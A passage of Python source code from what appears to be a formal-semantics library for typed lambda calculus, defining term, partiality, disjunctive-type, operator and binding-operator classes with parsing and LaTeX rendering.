((len(usedset) > 0) and (random.random() <= prob_used))\n if typ is None:\n if try_used:\n used_var = random.choice(list(usedset))\n varname = used_var.op\n typ = used_var.type\n else:\n typ = ts.random_type(max_type_depth, 0.5)\n else:\n used_typed = [x for x in list(usedset)\n if (x.type==typ and x.variable() == is_var)]\n if try_used and len(used_typed) > 0:\n varname = (random.choice(list(used_typed))).op\n if varname is None:\n if typ in cls.random_term_base.keys():\n base = cls.random_term_base[typ]\n else:\n base = \"f\"\n if not is_var:\n base = base.upper()\n varname = alpha_variant(base, blockset | {n.op for n in usedset})\n \n return TypedExpr.term_factory(varname, typ)\n\n\nTypedExpr.add_local('TypedTerm', TypedTerm)\n\nclass CustomTerm(TypedTerm):\n \"\"\"A subclass of TypedTerm used for custom displays of term names.\n\n The main application is for English-like metalanguage a la Heim and Kratzer.\n This isn't fully implemented as that metalanguage is actually extremely\n difficult to get right computationally...\"\"\"\n def __init__(self, varname, custom_english=None, suppress_type=True,\n small_caps=True, typ=None, assignment=None, type_check=True):\n TypedTerm.__init__(self, varname, typ=typ, assignment=assignment,\n type_check=type_check)\n self.custom = custom_english\n self.sc = small_caps\n self.suppress_type = suppress_type\n self.verbal = False\n # TODO: check type against custom string\n\n def copy(self):\n return CustomTerm(self.op, custom_english=self.custom,\n suppress_type=self.suppress_type,\n small_caps=self.sc,\n typ=self.type)\n\n def copy(self, op):\n return CustomTerm(op, custom_english=self.custom,\n suppress_type=self.suppress_type,\n small_caps=self.sc,\n typ=self.type)\n\n def latex_str(self, show_types=True, **kwargs):\n s = \"\"\n # custom made small caps\n if self.sc:\n if len(self.op) == 1:\n s += \"{\\\\rm %s}\" % (self.op[0].upper())\n else:\n s += \"{\\\\rm %s {\\\\small %s}}\" % (self.op[0].upper(),\n self.op[1:].upper())\n else:\n s += \"{\\\\rm %s}\" % self.op\n if show_types and not self.suppress_type:\n s += \"_{%s}\" % self.type.latex_str()\n return ensuremath(s)\n\n def __repr__(self):\n if self.sc:\n return self.op.upper()\n else:\n return self.op\n\n def get_custom(self):\n # needs to be dynamic to deal with coerced types\n if self.custom is None:\n if self.type == type_property:\n if self.verbal:\n return \"s\"\n else:\n return \"is a\"\n else:\n if self.type == type_transitive:\n if self.verbal:\n return \"s\"\n return \"\"\n else:\n return self.custom\n\n\n def custom_appl_latex(self, arg_str):\n if self.verbal:\n return \"%s\\\\text{ }%s\\\\text{%s}\" % (arg_str, self.latex_str(),\n self.get_custom())\n else:\n return \"%s \\\\text{ %s }%s\" % (arg_str, self.get_custom(),\n self.latex_str())\n\n def custom_appl(self, arg_str):\n if self.verbal:\n return \"%s %s%s\" % (arg_str, self.latex_str(), self.get_custom())\n else:\n return \"%s %s %s\" % (arg_str, repr(self), self.get_custom())\n\n\n\n###############\n#\n# Partiality\n#\n###############\n\n# possibly these belong in boolean, or somewhere else?\n\nclass Partial(TypedExpr):\n def __init__(self, body, condition, type_check=True):\n if condition is None:\n condition = from_python(True)\n if isinstance(body, Partial):\n condition = condition & body.condition\n body = body.body\n while isinstance(condition, Partial):\n condition = condition.body & condition.condition\n condition = TypedExpr.ensure_typed_expr(condition, types.type_t)\n\n super().__init__(\"Partial\", body, condition)\n self.type = body.type\n self.condition = condition\n self.body = body\n\n def calculate_partiality(self, vars=None):\n new_body = self.body.calculate_partiality(vars=vars)\n new_condition = self.condition.calculate_partiality(vars=vars)\n if isinstance(new_condition, Partial):\n new_condition = new_condition.body & new_condition.condition\n if isinstance(new_body, Partial):\n new_condition = new_condition & new_body.condition\n new_body = new_body.body\n new_condition = new_condition.simplify_all()\n return derived(Partial(new_body, new_condition), self,\n \"Partiality simplification\")\n \n def term(self):\n return self.body.term()\n\n def tuple(self):\n return tuple(self.args)\n \n def meta_tuple(self):\n return Tuple(self.args)\n \n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n tuple_version = self.meta_tuple()\n revised_type = types.TupleType(unified_type, types.type_t)\n result = tuple_version.try_adjust_type(unified_type, derivation_reason,\n assignment, env)\n return self.copy_local(result[1], result[2])\n \n def latex_str(self, **kwargs):\n if self.condition and self.condition != from_python(True):\n return ensuremath(\"\\\\left|\\\\begin{array}{l}%s\\\\\\\\%s\\\\end{array}\\\\right|\"\n % (self.body.latex_str(**kwargs),\n self.condition.latex_str(**kwargs)))\n else:\n return ensuremath(\"%s\" % (self.body.latex_str(**kwargs)))\n\n @classmethod\n def from_Tuple(cls, t):\n if (isinstance(t, TypedExpr)\n and (not isinstance(t, Tuple) or len(t) != 2)):\n raise parsing.ParseError(\n \"Partial requires a Tuple of length 2. (Received `%s`.)\"\n % repr(t))\n return Partial(t[0], t[1])\n \n @classmethod\n def get_condition(cls, p):\n if isinstance(p, Partial) or isinstance(p, PLFun):\n return p.condition\n else:\n return from_python(True)\n \n @classmethod\n def get_atissue(cls, p):\n if isinstance(p, Partial) or isinstance(p, PLFun):\n return p.body\n else:\n return p\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n # This will implicitly use the same depth for the body and condition\n typ = get_type_system().random_type(max_type_depth, 0.5)\n body = ctrl(typ=typ)\n condition = ctrl(typ=type_t)\n return Partial(body, condition)\n\n \nTypedExpr.add_local(\"Partial\", Partial.from_Tuple)\n\n###############\n#\n# more type underspecification\n#\n###############\n\n\n# The `Disjunctive` class allows for the construction of ad-hoc polymorphic\n# expressions in the metalanguage. It takes a set of expressions, and gives you\n# an object that will simplify to one or more of the expressions depending on\n# type adjustment/inference. It enforces the constraint that every (non-\n# disjunctive) type it is constructed from must be simplifiable to no more than\n# one expression. So, constructing a Disjunctive from two objects of the same\n# type is not permitted, but neither are cases where the types overlap (so for\n# example, where you have an expression of type e, and an expression of type\n# [e|t], because that would lead to a problem if it were adjusted to type e.)\n#\n# In a very roundabout way, this class acts like a dictionary mapping types to\n# expressions.\nclass Disjunctive(TypedExpr):\n def __init__(self, *disjuncts, type_check=True):\n ts = get_type_system()\n principal_type = types.DisjunctiveType(*[d.type for d in disjuncts])\n t_adjust = set()\n # this is not a great way to do this (n*m) but I couldn't see a\n # cleverer way to catch stuff like:\n # > `Disjunctive(te(\"x_e\"), te(\"y_n\"), te(\"z_[e|t]\"))`\n # It would work to not have this check here, and let the error happen\n # on type adjustment later (e.g. type adjustment to `e` would fail in\n # the above example) but I decided that that would be too confusing.\n for d in disjuncts:\n for t in principal_type:\n r = d.try_adjust_type(t)\n if r is not None:\n if r.type in t_adjust:\n raise parsing.ParseError(\n \"Disjoined expressions must determine unique types\"\n \" (type %s appears duplicated in expression '%s' \"\n \"for disjuncts '%s')\"\n % (repr(t), repr(d), repr(disjuncts)))\n else:\n t_adjust |= {r.type}\n self.type = types.DisjunctiveType(*t_adjust)\n super().__init__(\"Disjunctive\", *disjuncts)\n \n def copy(self):\n return Disjunctive(*self.args)\n \n def copy_local(self, *disjuncts, type_check=True):\n return Disjunctive(*disjuncts)\n \n def term(self):\n return False\n \n def __repr__(self):\n return \"Disjunctive(%s)\" % (\",\".join([repr(a) for a in self.args]))\n \n def latex_str(self, disj_type=False, **kwargs):\n if disj_type:\n return ensuremath(\"{Disjunctive}^{%s}(%s)\" % (self.type.latex_str(),\n \", \".join([a.latex_str(**kwargs) for a in self.args])))\n else:\n return ensuremath(\"{Disjunctive}(\\\\left[%s\\\\right])\"\n % ((\"\\\\mid{}\").join([a.latex_str(**kwargs)\n for a in self.args])))\n \n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n ts = get_type_system()\n l = list()\n for a in self.args:\n t = ts.unify(unified_type, a.type)\n if t is None:\n continue\n l.append(a.try_adjust_type(t, derivation_reason=derivation_reason,\n assignment=assignment))\n assert len(l) > 0\n if (len(l) == 1):\n return l[0]\n else:\n return Disjunctive(*l)\n\n def apply(self, arg):\n if not self.type.functional():\n raise TypeMismatch(self,arg, \"Application to a non-functional Disjunction\")\n applied_disjuncts = list()\n for d in self.args:\n if not d.functional():\n continue\n try:\n applied_disjuncts.append(d.apply(arg))\n except TypeMismatch:\n continue\n result = self.factory(*applied_disjuncts)\n if result is None:\n raise TypeMismatch(self,arg, \"Application to a non-functional Disjunction\")\n return result\n\n\n @classmethod\n def from_tuple(cls, t):\n return Disjunctive(*t)\n\n @classmethod\n def factory(cls, *disjuncts):\n disjuncts = set(disjuncts)\n if len(disjuncts) == 0:\n return None\n elif len(disjuncts) == 1:\n (r,) = disjuncts\n return r\n else:\n return Disjunctive(*disjuncts)\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1, max_disj_len=3):\n r = range(max_disj_len+1)[1:]\n length = random.choice(r)\n signature = {get_type_system().random_type(max_type_depth, 0.5,\n allow_variables=False, allow_disjunction=False)\n for i in range(length)}\n args = [ctrl(typ=t) for t in signature]\n return cls.factory(*args) # may not actually generate a Disjunctive\n\nTypedExpr.add_local(\"Disjunctive\", Disjunctive.from_tuple)\n\n\n\n\n###############\n#\n# Operators\n#\n###############\n\n\nclass SyncatOpExpr(TypedExpr):\n \"\"\"This class abstracts over expressions headed by n-ary operators.\n\n In logical terms, this corresponds to syncategorematic definitions of\n operators as is standard in definitions of logics. For example, statements\n like '~p is a sentence iff p is a sentence'.\n\n It should not be instantiated directly.\"\"\"\n\n arity = 2\n canonical_name = None\n secondary_names = set()\n op_name_uni = None\n op_name_latex = None\n # should output type be a class variable?\n\n def __init__(self, typ, *args, tcheck_args=True):\n if tcheck_args:\n args = [self.ensure_typed_expr(a, typ) for a in args]\n else:\n args = [self.ensure_typed_expr(a) for a in args]\n super().__init__(self.canonical_name, *args)\n self.type = typ\n if self.op_name_uni is None:\n self.op_name_uni = self.op\n # shadow the class var:\n if self.op_name_latex is None:\n self.op_name_latex = self.op_name_uni\n\n def copy(self):\n return self.copy_local(*self.args)\n\n def copy_local(self, *args, type_check=True):\n \"\"\"This must be overriden by classes that are not produced by the\n factory.\"\"\"\n # TODO: is this necessary?\n return op_expr_factory(self.op, *args)\n\n def _repr_pretty_(self, p, cycle):\n if cycle:\n p.text(\"%s(...)\" % self.op_name_uni)\n elif self.arity == 1:\n p.text(self.op_name_uni)\n if not self.operator_style:\n p.text(\"(\")\n p.pretty(self.args[0])\n if not self.operator_style:\n p.text(\")\")\n else:\n p.text(\"(\")\n for a in self.args[0:-1]:\n p.pretty(self.args[0])\n p.text(\" %s \" % self.op_name_uni)\n p.pretty(self.args[-1])\n p.text(\")\")\n\n def __str__(self):\n return \"%s\\nType: %s\" % (repr(self), self.type)\n\n def __repr__(self):\n if self.arity == 1:\n if (self.operator_style):\n return \"%s%s\" % (self.op, repr(self.args[0]))\n else:\n return \"%s(%s)\" % (self.op, repr(self.args[0]))\n else:\n op_text = \" %s \" % self.op\n return \"(%s)\" % (op_text.join([repr(a) for a in self.args]))\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, **kwargs):\n if self.arity == 1:\n if (self.operator_style):\n return ensuremath(\"%s %s\" % (self.op_name_latex,\n self.args[0].latex_str(**kwargs)))\n else:\n return ensuremath(\"%s(%s)\" % (self.op_name_latex,\n self.args[0].latex_str(**kwargs)))\n else:\n op_text = \" %s \" % self.op_name_latex\n return ensuremath(\"(%s)\" % (op_text.join(\n [a.latex_str(**kwargs) for a in self.args])))\n\n @classmethod\n def join(cls, *l):\n \"\"\"Joins an arbitrary number of arguments using the binary operator.\n Note that currently association is left to right. Requires a subclass\n that defines a two-parameter __init__ function. (I.e. will potentially\n fail if called on the abstract class.)\n\n Will also fail on operators that do not take the same type (i.e.\n SetContains).\n \"\"\"\n if cls.arity != 2:\n raise ValueError(\"Can't join with a %d-ary operator\", cls.arity)\n if len(l) == 0:\n return from_python(True)\n if len(l) == 1:\n return l[0]\n else:\n cur = l[0]\n for i in range(len(l) - 1):\n cur = cls(cur, l[i+1]) # will raise an error if the subclass\n # doesn't define a constructor this way.\n return cur\n\n @classmethod\n def random(cls, ctrl):\n # this will fail if type_t is wrong for the class, so override\n return cls(*[ctrl(typ=type_t) for a in range(cls.arity)])\n\ndef to_python(te):\n from .boolean import true_term, false_term\n if te.type == type_n and isinstance(te.op, Number):\n return te.op\n elif te == true_term:\n return True\n elif te == false_term:\n return False\n else:\n return te\n\ndef from_python(p):\n # generalize me\n from .boolean import true_term, false_term\n if p is True:\n return true_term\n elif p is False:\n return false_term\n elif isinstance(p, Number):\n return TypedTerm(p, type_n)\n else:\n raise NotImplementedError\n\n# decorator for wrapping simplify functions, see examples below.\n# TODO: this could be generalized a further...\ndef op(op, arg_type, ret_type,\n op_uni=None, op_latex=None, deriv_desc=None,\n python_only=True):\n if deriv_desc is None:\n deriv_desc = op_uni and op_uni or op\n\n def op_decorator(func):\n # we will pass `self` to func, so allow an extra param for it\n arity = len(inspect.signature(func).parameters) - 1\n\n # constructs a subclass of either Syncat\n if not (arity == 1 or arity == 2):\n raise ValueError(\"@op needs function of arity 1 or 2 (got %d)\" % arity)\n class WrappedOp(SyncatOpExpr):\n def __init__(self, *args):\n # XX this updates __name__ but not __class__\n functools.update_wrapper(self, func)\n if len(args) != arity:\n # what exception type to use here?\n raise parsing.ParseError(\n \"%s (%s) needs %d operands but %d were given\"\n % (op_uni, func.__name__, arity, len(args)))\n args = [self.ensure_typed_expr(a, arg_type) for a in args]\n self.operator_style = True\n super().__init__(ret_type, *args, tcheck_args=False)\n\n def simplify(self):\n parts = [to_python(a.copy()) for a in self.args]\n if python_only and any([isinstance(a, TypedExpr) for a in parts]):\n return self\n return derived(te(func(self, *parts)), self, desc=deriv_desc)\n\n @classmethod\n def random(cls, ctrl):\n args = [ctrl(typ=arg_type) for i in range(arity)]\n return cls(*args)\n\n WrappedOp.arity = arity\n WrappedOp.canonical_name = op\n WrappedOp.op_name_uni = op_uni\n WrappedOp.op_name_latex = op_latex\n\n WrappedOp.__name__ = func.__name__\n return WrappedOp\n return op_decorator\n\n\n# probably belongs elsewhere\nclass BinaryGenericEqExpr(SyncatOpExpr):\n canonical_name = \"<=>\"\n op_name_latex = \"=\"\n\n \"\"\"Type-generic equality. This places no constraints on the type of `arg1`\n and `arg2` save that they be equal.\"\"\"\n def __init__(self, arg1, arg2):\n # TODO: the interaction of this operator (and the type t variant)\n # with polymorphic types is messy...\n if arg1.type.is_polymorphic() or arg2.type.is_polymorphic():\n raise TypeMismatch(\"Equality operator requires non-polymorphic types.\")\n arg1 = self.ensure_typed_expr(arg1)\n # maybe raise the exception directly?\n arg2 = self.ensure_typed_expr(arg2, arg1.type)\n # some problems with equality using '==', TODO recheck, but for now\n # just use \"<=>\" in the normalized form\n super().__init__(type_t, arg1, arg2, tcheck_args = False)\n\n def simplify(self):\n if (isinstance(self.args[0].op, Number)\n and isinstance(self.args[1].op, Number)):\n return derived(te(self.args[0].op == self.args[1].op),\n self, desc=\"Equality\")\n else:\n return self # this would require a solver for the general case\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n body_type = get_type_system().random_type(max_type_depth, 0.5)\n return cls(ctrl(typ=body_type), ctrl(typ=body_type))\n\n\n\nclass TupleIndex(SyncatOpExpr):\n arity = 2\n canonical_name = \"[]\" # not a normal SyncatOpExpr!\n\n def __init__(self, arg1, arg2, type_check=True):\n arg1 = self.ensure_typed_expr(arg1)\n if not isinstance(arg1.type, types.TupleType):\n raise types.TypeMismatch(arg1, arg2,\n mode=\"Tuple indexing expression with a non-tuple\")\n arg2 = self.ensure_typed_expr(arg2, types.type_n)\n if isinstance(arg2.op, Number): # TODO better way to determine whether\n # arg2 is a constant of type type_n?\n if arg2.op >= len(arg1.type):\n raise TypeMismatch(arg1, arg2,\n mode=\"Tuple indexing expression with out-of-range index\")\n output_type = arg1.type[arg2.op]\n else:\n output_type = types.VariableType(\"X\") # TODO this is problematic\n logger.warning(\n \"Using non-constant tuple index; not well-supported.\")\n super().__init__(output_type, arg1, arg2, tcheck_args=False)\n\n def copy(self):\n return TupleIndex(self.args[0], self.args[1])\n\n def copy_local(self, arg1, arg2, type_check=True):\n return TupleIndex(arg1, arg2)\n\n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n if isinstance(self.args[1].op, Number):\n ttype = list(self.args[0].type)\n ttype[self.args[1].op] = unified_type\n adjusted_tuple = self.args[0].try_adjust_type(\n types.TupleType(*ttype))\n return self.copy_local(adjusted_tuple, self.args[1])\n else:\n logger.warning(\n \"Using non-constant index; not well-supported at present.\")\n return None\n\n def __str__(self):\n return \"%s\\nType: %s\" % (repr(self), self.type)\n\n def __repr__(self):\n return \"(%s[%s])\" % (repr(self.args[0]), repr(self.args[1]))\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, **kwargs):\n return ensuremath(\"(%s[%s])\" % (self.args[0].latex_str(**kwargs),\n self.args[1].latex_str(**kwargs)))\n\n def reduce(self):\n if (isinstance(self.args[0], Tuple)\n and isinstance(self.args[1].op, Number)):\n result = self.args[0].tuple()[self.args[1].op].copy()\n return derived(result, self, \"Resolution of index\")\n else:\n return self\n\n\n def reducible(self):\n if (isinstance(self.args[0], Tuple)\n and isinstance(self.args[1].op, Number)):\n return True\n # no support for non-constant indices at present, not even ones that\n # should be mathematically simplifiable\n return False\n\n @classmethod\n def random(cls, ctrl, max_type_depth=1):\n content_type = get_type_system().random_type(max_type_depth, 0.5)\n tup = Tuple.random(ctrl, max_type_depth=max_type_depth,\n allow_empty=False)\n index = random.choice(range(len(tup)))\n return TupleIndex(tup, index)\n\n\n\n###############\n#\n# Binding expressions\n#\n###############\n\n\n\nglobal recurse_level\nrecurse_level = 0\n\nclass BindingOp(TypedExpr):\n \"\"\"Abstract class for a unary operator with a body that binds a single\n variable in its body.\n\n Never instantiated directly. To see how to use this, it may be helpful to\n look at the definite description tutorial, which shows how to build an iota\n operator.\"\"\"\n\n op_regex = None\n init_op_regex = None\n\n # set the following in subclasses\n canonical_name = None\n secondary_names = set()\n allow_multivars = False\n allow_novars = False\n op_name_uni = None\n op_name_latex = None\n\n partiality_weak = True\n\n @classmethod\n def binding_op_factory(self, op_class, var_list, body, assignment=None):\n for i in range(len(var_list)):\n if not is_var_symbol(var_list[i][0]):\n raise parsing.ParseError(\n \"Need variable name in binding operator expression\"\n \" (received '%s')\" % var_list[i][0], None)\n if var_list[i][1] is None:\n # TODO: flag as a guessed type somehow?\n var_list[i] = (var_list[i][0],\n default_variable_type(var_list[i][0]))\n if op_class.allow_multivars or op_class.allow_novars:\n # use alternate constructor\n if (not op_class.allow_multivars) and len(var_list) > 1:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow >1 variables\"\n % (op_class.canonical_name), None) \n if (not op_class.allow_novars) and len(var_list) == 0:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow 0 variables\"\n % (op_class.canonical_name), None) \n return op_class(var_list, body, assignment=assignment)\n else:\n if len(var_list) != 1:\n raise parsing.ParseError(\n \"Operator class '%s' does not allow %i variables\"\n % (op_class.canonical_name, len(var_list)), None)\n return op_class(var_or_vtype=var_list[0][1],\n varname=var_list[0][0],\n body=body,\n assignment=assignment)\n\n def __init__(self, var_or_vtype, typ, body, varname=None, body_type=None,\n assignment=None, type_check=True):\n # NOTE: not calling superclass\n # Warning: can't assume in general that typ is not None. \n # I.e. may be set in subclass after a call\n # to this function. Subclass is responsible for doing this properly...\n if body_type is None:\n body_type = typ\n if isinstance(var_or_vtype, str): # TODO: support type strings\n var_or_vtype = TypedExpr.term_factory(var_or_vtype)\n if isinstance(var_or_vtype, TypedTerm):\n if varname is not None:\n logger.warning(\"Overriding varname '%s' with '%s'\"\n % (varname, var_or_vtype.op))\n varname = var_or_vtype.op\n vartype = var_or_vtype.type\n elif isinstance(var_or_vtype, types.TypeConstructor):\n if varname is None:\n varname = self.default_varname()\n vartype = var_or_vtype\n else:\n logger.error(\"Unknown var_or_vtype: \" + repr(var_or_vtype))\n raise NotImplementedError\n if not is_var_symbol(varname):\n raise ValueError(\"Need variable name (got '%s')\" % varname)\n if typ is not None:\n self.type = typ\n self.derivation = None\n self.type_guessed = False\n self.defer = False\n self.let = False\n self.init_args()\n self.init_var(varname, vartype)\n # TODO: consider overriding __eq__ and __hash__.\n if type_check:\n sassign = self.scope_assignment(assignment=assignment)\n self.init_body(self.ensure_typed_expr(body, body_type,\n assignment=sassign))\n body_env = self.body.get_type_env()\n if self.varname in body_env.var_mapping: # binding can be vacuous\n if body_env.var_mapping[self.varname] != self.vartype:\n # propagate type inference to binding expression\n new_vartype = body_env.var_mapping[self.varname]\n assert new_vartype is not None\n self.init_var(self.varname, new_vartype)\n self.init_body(self.body.regularize_type_env())\n self.init_var_by_instance(\n self.var_instance.under_type_assignment(body_env.type_mapping,\n merge_intersect=False))\n else:\n self.init_body(body)\n\n def copy_local(self, *args, type_check=True):\n return type(self)(*args, type_check=type_check)\n\n def scope_assignment(self, assignment=None):\n if assignment is None:\n assignment = dict()\n else:\n assignment = assignment.copy()\n assignment[self.varname] = self.var_instance\n return assignment\n\n def default_varname(self):\n return \"x\"\n\n def init_args(self):\n try:\n a = self.args\n except AttributeError:\n self.args = list([None, None])\n assert len(self.args) == 2\n\n def init_var(self, name=None, typ=None):\n self.init_args()\n if name is None:\n if typ is None:\n raise ValueError\n else:\n var_instance = TypedTerm(self.varname, typ)\n else:\n if typ is None:\n var_instance = TypedTerm(name, self.var_instance.type)\n else:\n var_instance = TypedTerm(name, typ)\n self.args[0] = var_instance\n self.op = \"%s:\" % (self.canonical_name)\n\n\n def init_var_by_instance(self, v):\n self.init_var(v.op, v.type)\n\n def init_body(self, b):\n self.init_args()\n self.args[1] = b\n\n @property\n def varname(self):\n return self.var_instance.term_name\n\n @property\n def vartype(self):\n return self.var_instance.type\n\n @property\n def var_instance(self):\n return self.args[0]\n\n @property\n def body(self):\n return self.args[1] \n\n @classmethod\n def compile_ops_re(cls):\n \"\"\"Recompile the regex for detecting operators.\"\"\"\n global registry\n op_names = (registry.binding_ops.keys()\n | registry.canonicalize_binding_ops.keys())\n # sort with longer strings first, to avoid matching subsets of long\n # names i.e. | is not greedy, need to work around that.\n op_names = list(op_names)\n op_names.sort(reverse=True)\n if len(op_names) == 0:\n BindingOp.op_regex = None\n BindingOp.init_op_regex = None\n else:\n regex = \"(\" + (\"|\".join(op_names)) + \")\"\n BindingOp.op_regex = re.compile(regex)\n BindingOp.init_op_regex = re.compile(r'^\\s*' + regex)\n\n def alpha_convert(self, new_varname):\n \"\"\"Produce an alphabetic variant of the expression w.r.t. the bound\n variable, with new_varname as the new name.\n\n Returns a copy. Will not affect types of either the expression or the\n variables.\"\"\"\n new_self = self.copy()\n new_self.init_body(variable_convert(self.body, {self.varname: new_varname}))\n new_self.init_var(name=new_varname)\n return new_self\n\n def latex_op_str(self):\n return self.latex_op_str_short()\n\n def latex_op_str_short(self):\n return \"%s %s_{%s} \\\\: . \\\\:\" % (self.op_name_latex, \n self.varname, \n self.vartype.latex_str())\n\n def __str__(self):\n return \"%s %s : %s, Type: %s\" % (self.op_name, self.varname,\n repr(self.body), self.type)\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, assignment=None, **kwargs):\n assignment = self.scope_assignment(assignment=assignment)\n return ensuremath(\"%s %s\" % (self.latex_op_str(), \n self.body.latex_str(assignment=assignment, **kwargs)))\n\n def __repr__(self):\n return \"(%s %s: %s)\" % (self.op_name, repr(self.var_instance),\n repr(self.body))\n\n @property\n def op_name(self):\n if (self.op_name_uni is not None\n and self.op_name_uni in self.secondary_names):\n return self.op_name_uni\n else:\n return self.canonical_name\n\n\n def free_terms(self, var_only=False):\n return super().free_terms(var_only=var_only) - {self.varname}\n\n def bound_variables(self):\n return super().bound_variables() | {self.varname}\n\n def calc_type_env(self, recalculate=False):\n sub_env = self.body.get_type_env(force_recalc=recalculate).copy()\n # ensure any variable types introduced by the variable show up even if\n # they are not present in the subformula\n sub_env.add_type_to_var_set(self.var_instance.type)\n if self.varname in sub_env.var_mapping:\n del sub_env.var_mapping[self.varname]\n return sub_env\n\n def type_env(self, constants=False, target=None, free_only=True):\n sub_env = self.body.type_env(constants=constants, target=target,\n free_only=free_only)\n if free_only and self.varname in sub_env: # binding can be vacuous\n del sub_env[self.varname]\n return sub_env\n\n\n def vacuous(self):\n \"\"\"Return true just in case the operator's variable is not free in the\n body expression.\"\"\"\n return self.varname in super().free_variables()\n\n def term(self):\n return False\n\n def project_partiality_strict(b, body, condition):\n # refactor somehow?\n from .sets import ConditionSet\n from .boolean import ForallUnary\n b_cls = type(b)\n if isinstance(b, ConditionSet) or isinstance(b, LFun):\n return b\n else: # IotaPartial handled in subclass\n return Partial(b_cls(b.var_instance, body),\n ForallUnary(b.var_instance, body))\n\n def project_partiality_weak(b, body, condition):\n # refactor somehow?\n from .sets import ConditionSet\n from .boolean import ForallUnary, ExistsUnary, IotaUnary, ExistsExact\n b_cls = type(b)\n if isinstance(b, ForallUnary):\n return Partial(b_cls(b.var_instance, body),\n b_cls(b.var_instance, condition))\n elif isinstance(b, ExistsUnary) or isinstance(b, ExistsExact):\n return Partial(b_cls(b.var_instance, body & condition),\n b_cls(b.var_instance, condition))\n elif isinstance(b, IotaUnary): # does this lead to scope issues for the condition?\n return Partial(b_cls(b.var_instance, body & condition),\n ExistsUnary(b.var_instance, condition))\n elif isinstance(b, ConditionSet) or isinstance(b, LFun):\n return b\n else: # IotaPartial handled in subclass\n # is this really a type issue?\n raise TypeMismatch(b, None,\n \"No implemented way of projecting partiality for BindingOp %s\"\n % repr(type(b).__name__))\n\n def calculate_partiality(self, vars=None):\n if vars is None:\n vars = set()\n if isinstance(self, LFun):\n vars |= {self.varname}\n\n # defer any further calculation if there are bound variables in the body\n if vars & self.body.free_variables():\n return self\n\n new_body = self.body.calculate_partiality(vars=vars)\n if isinstance(new_body, Partial):\n if new_body.condition == from_python(True):\n return derived(self.copy_local(self.var_instance, new_body),\n self, \"Partiality simplification\")\n if self.varname in new_body.condition.free_variables():\n if BindingOp.partiality_weak:\n return derived(\n self.project_partiality_weak(new_body.body,\n new_body.condition),\n self, \"Partiality simplification\")\n else:\n return derived(\n self.project_partiality_strict(new_body.body,\n new_body.condition),\n self, \"Partiality simplification\")\n else:\n new_condition = new_body.condition\n new_self = self.copy_local(self.var_instance, new_body.body)\n return derived(Partial(new_self, new_condition), self,\n \"Partiality simplification\")\n else:\n return derived(self.copy_local(self.var_instance, new_body), self,\n \"Partiality simplification\")\n\n @classmethod\n def try_parse_header(cls, s, assignment=None, locals=None):\n \"\"\"Try and parse the header of a binding operator expression, i.e.\n everything up to the body including ':'.\n\n If this succeeds, it will return a tuple with the class object, the\n variable name, the variable type, and the string after the ':'' if any.\n\n If it fails, it will either return None or raise an exception. That\n exception is typically a ParseError.\n \"\"\"\n\n global registry\n\n i = 0\n if BindingOp.init_op_regex is None:\n return None # no operators to parse\n op_match = re.match(BindingOp.init_op_regex, s)\n if not op_match:\n raise parsing.ParseError(\n \"Unknown operator when trying to parsing \"\n \"binding operator expression\", s, None, met_preconditions=False)\n op_name = op_match.group(1) # operator name\n i = op_match.end(1)\n\n if op_name in registry.canonicalize_binding_ops:\n op_name = registry.canonicalize_binding_ops[op_name]\n if op_name not in registry.binding_ops:\n raise Error(\n \"Can't find binding operator '%s'; should be impossible\"\n % op_name)\n op_class = registry.binding_ops[op_name]\n\n split = s.split(\":\", 1)\n if (len(split) != 2):\n # possibly should change to met_preconditions = True in the future.\n # At this point, we have seen a binding expression token.\n raise parsing.ParseError(\n \"Missing ':' in binding operator expression\", s, None,\n met_preconditions=False)\n header, remainder = split\n vname = header[i:].strip() # removes everything but a variable name\n var_seq = cls.try_parse_term_sequence(vname, lower_bound=None,\n upper_bound=None, assignment=assignment)\n return (op_class, var_seq, remainder)\n\n @classmethod\n def try_parse_binding_struc_r(cls, struc, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Attempt to parse structure `s` as a binding structure. Used by the\n factory function.\n \n assignment: a variable assignment to use when parsing.\n\n `struc` is a semi-AST with all parenthetical structures parsed.\n (See `parsing.parse_paren_str`.)\n\n Format: 'Op v : b'\n * 'Op' is one of 'lambda', 'L', 'λ', 'Forall', 'Exists', 'Iota'.\n (Subclasses can register themselves to be parsed.)\n * 'v' is a variable name expression (see try_parse_typed_term),\n e.g. 'x_e'\n * 'b' is a function body, i.e. something parseable into a TypedExpr.\n\n If 'v' does not provide a type, it will attempt to guess one based on\n the variable name. The body will be parsed using a call to the\n recursive `TypedExpr.try_parse_paren_struc_r`, with a shifted assignment\n using the new variable 'v'.\n\n Returns a subclass of BindingOp.\n \"\"\"\n\n if (len(struc) == 0):\n return None\n if isinstance(struc[0], str) and struc[0] in parsing.brackets:\n potential_header = struc[1]\n bracketed = True\n else:\n potential_header = struc[0]\n bracketed = False\n if not isinstance(potential_header, str):\n return None\n result = BindingOp.try_parse_header(potential_header)\n if result is None:\n return None\n (op_class, var_list, remainder) = result\n # remainder is any string left over from parsing the header.\n if bracketed:\n # note: syntax checking for bracket matching is already done, this\n # does not need to check for that here.\n assert(parsing.brackets[struc[0]] == struc[-1])\n new_struc = [remainder,] + struc[2:-1]\n else:\n new_struc = [remainder,] + struc[1:]\n if assignment is None: \n assignment = dict()\n else:\n assignment = assignment.copy()\n store_old_v = None\n for var_tuple in var_list:\n (v,t) = var_tuple\n assignment[v] = TypedTerm(v, t)\n body = None\n try:\n body = TypedExpr.try_parse_paren_struc_r(new_struc,\n assignment=assignment, locals=locals, vprefix=vprefix)\n except Exception as e:\n if isinstance(e, parsing.ParseError):\n raise e\n else:\n raise parsing.ParseError(\n \"Binding operator expression has unparsable body\",\n parsing.flatten_paren_struc(struc), None, e=e)\n if body is None:\n raise 